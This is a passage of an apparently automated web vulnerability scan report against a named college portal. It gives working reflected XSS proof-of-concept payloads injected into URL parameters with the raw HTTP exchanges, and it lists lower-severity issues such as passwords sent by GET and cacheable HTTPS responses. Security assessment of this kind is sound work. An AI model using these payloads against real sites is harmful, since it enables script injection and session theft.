Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Cookie: mycc_ss=2; __unam=2f0186a-13478094886-78a394aa-9; MM_GUID=0273cfdf-e34c-8eb1-96bc-604d0029933b; MM_UUID=ED5C3DC3-7CA4-4A72-8978-681B84D4B07A
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:28:56 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2368
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</logo.gif457c2"-alert(1)-"abd6b5b1f2" name="goback">
...[SNIP]...

1.14. https://secure.champlain.edu/portal/index.php/logo.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e212"><script>alert(1)</script>f360d1b8781 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/logo.gif6e212"><script>alert(1)</script>f360d1b8781 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38?username=lkjhlg&password=lh%3Blkljnl&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:31:04 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2318
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<form action="/portal/index.php/logo.gif6e212"><script>alert(1)</script>f360d1b8781" method="post" name="signon">
...[SNIP]...

2. Password field submitted using GET method  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:The form contains the following password field:

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:47 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2314
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div>
<form action="/portal/index.php/b7b38"><script>
...[SNIP]...
<td><input name="password" type="password" id="password" /></td>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 4 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. https://secure.champlain.edu/portal/index.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /portal/index.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: secure.champlain.edu
Connection: Keep-Alive
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 02:02:21 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2214
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div>
<form action="/portal/index.php" method="post" name="signon">
   <div class='login'>
...[SNIP]...
<td><input name="password" type="password" id="password" /></td>
...[SNIP]...

3.2. https://secure.champlain.edu/portal/index.php/b7b38  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /portal/index.php/b7b38?username=lkjhlg&password=lh%3Blkljnl&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:53 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2226
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div>
<form action="/portal/index.php/b7b38" method="post" name="signon">
   <div class='login'>
...[SNIP]...
<td><input name="password" type="password" id="password" /></td>
...[SNIP]...

3.3. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:47 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2314
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div>
<form action="/portal/index.php/b7b38"><script>
...[SNIP]...
<td><input name="password" type="password" id="password" /></td>
...[SNIP]...

3.4. https://secure.champlain.edu/portal/index.php/logo.gif  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/logo.gif

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /portal/index.php/logo.gif HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38?username=lkjhlg&password=lh%3Blkljnl&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:53 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2232
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div>
<form action="/portal/index.php/logo.gif" method="post" name="signon">
   <div class='login'>
...[SNIP]...
<td><input name="password" type="password" id="password" /></td>
...[SNIP]...

4. Cacheable HTTPS response  previous  next
There are 8 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


4.1. https://secure.champlain.edu/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /

Request

GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Encoding: gzip, deflate
Cookie: mycc_ss=2
Host: secure.champlain.edu
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 10


Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 02:01:57 GMT
Server: Apache/2.2.15 (Red Hat)
Last-Modified: Thu, 10 May 2007 19:08:30 GMT
ETag: "3e0036-7-4302260544780"
Accept-Ranges: bytes
Content-Length: 7
Connection: close
Content-Type: text/html; charset=UTF-8

hello

4.2. https://secure.champlain.edu/deposit/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /deposit/

Request

GET /deposit/ HTTP/1.1
Host: secure.champlain.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 12:08:20 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Champlain College Deposit Form</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<SCRIPT language="JavaScript">
<!--
function resetTotal() {

...[SNIP]...

4.3. https://secure.champlain.edu/portal/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php

Request

GET /portal/index.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: secure.champlain.edu
Connection: Keep-Alive
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 02:02:21 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2214
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

4.4. https://secure.champlain.edu/portal/index.php/b7b38  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38

Request

GET /portal/index.php/b7b38?username=lkjhlg&password=lh%3Blkljnl&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:53 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2226
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

4.5. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/logo.gif HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:46 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2282
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

4.6. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1 HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(1)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:47 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2314
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

4.7. https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif

Request

GET /portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/logo.gif HTTP/1.1
Host: secure.champlain.edu
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.champlain.edu/portal/index.php/b7b38%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E4b7b2a0659674f01d?username=xss&password=xss&submit=Login&loginsubmitted=1
Cookie: mycc_ss=2; __unam=2f0186a-13478094886-78a394aa-9; MM_GUID=0273cfdf-e34c-8eb1-96bc-604d0029933b; MM_UUID=ED5C3DC3-7CA4-4A72-8978-681B84D4B07A
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:28:40 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2314
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

4.8. https://secure.champlain.edu/portal/index.php/logo.gif  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.champlain.edu
Path:   /portal/index.php/logo.gif

Request

GET /portal/index.php/logo.gif HTTP/1.1
Host: secure.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://secure.champlain.edu/portal/index.php/b7b38?username=lkjhlg&password=lh%3Blkljnl&submit=Login&loginsubmitted=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 02:30:53 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 2232
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://secure.champlain.edu
Path:   /

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyze the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Encoding: gzip, deflate
Cookie: mycc_ss=2
Host: secure.champlain.edu
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 10


Response

HTTP/1.0 200 OK
Date: Mon, 26 Dec 2011 02:01:57 GMT
Server: Apache/2.2.15 (Red Hat)
Last-Modified: Thu, 10 May 2007 19:08:30 GMT
ETag: "3e0036-7-4302260544780"
Accept-Ranges: bytes
Content-Length: 7
Connection: close
Content-Type: text/html; charset=UTF-8

hello

Report generated by HTI at Sat Sep 01 09:27:13 EDT 2012.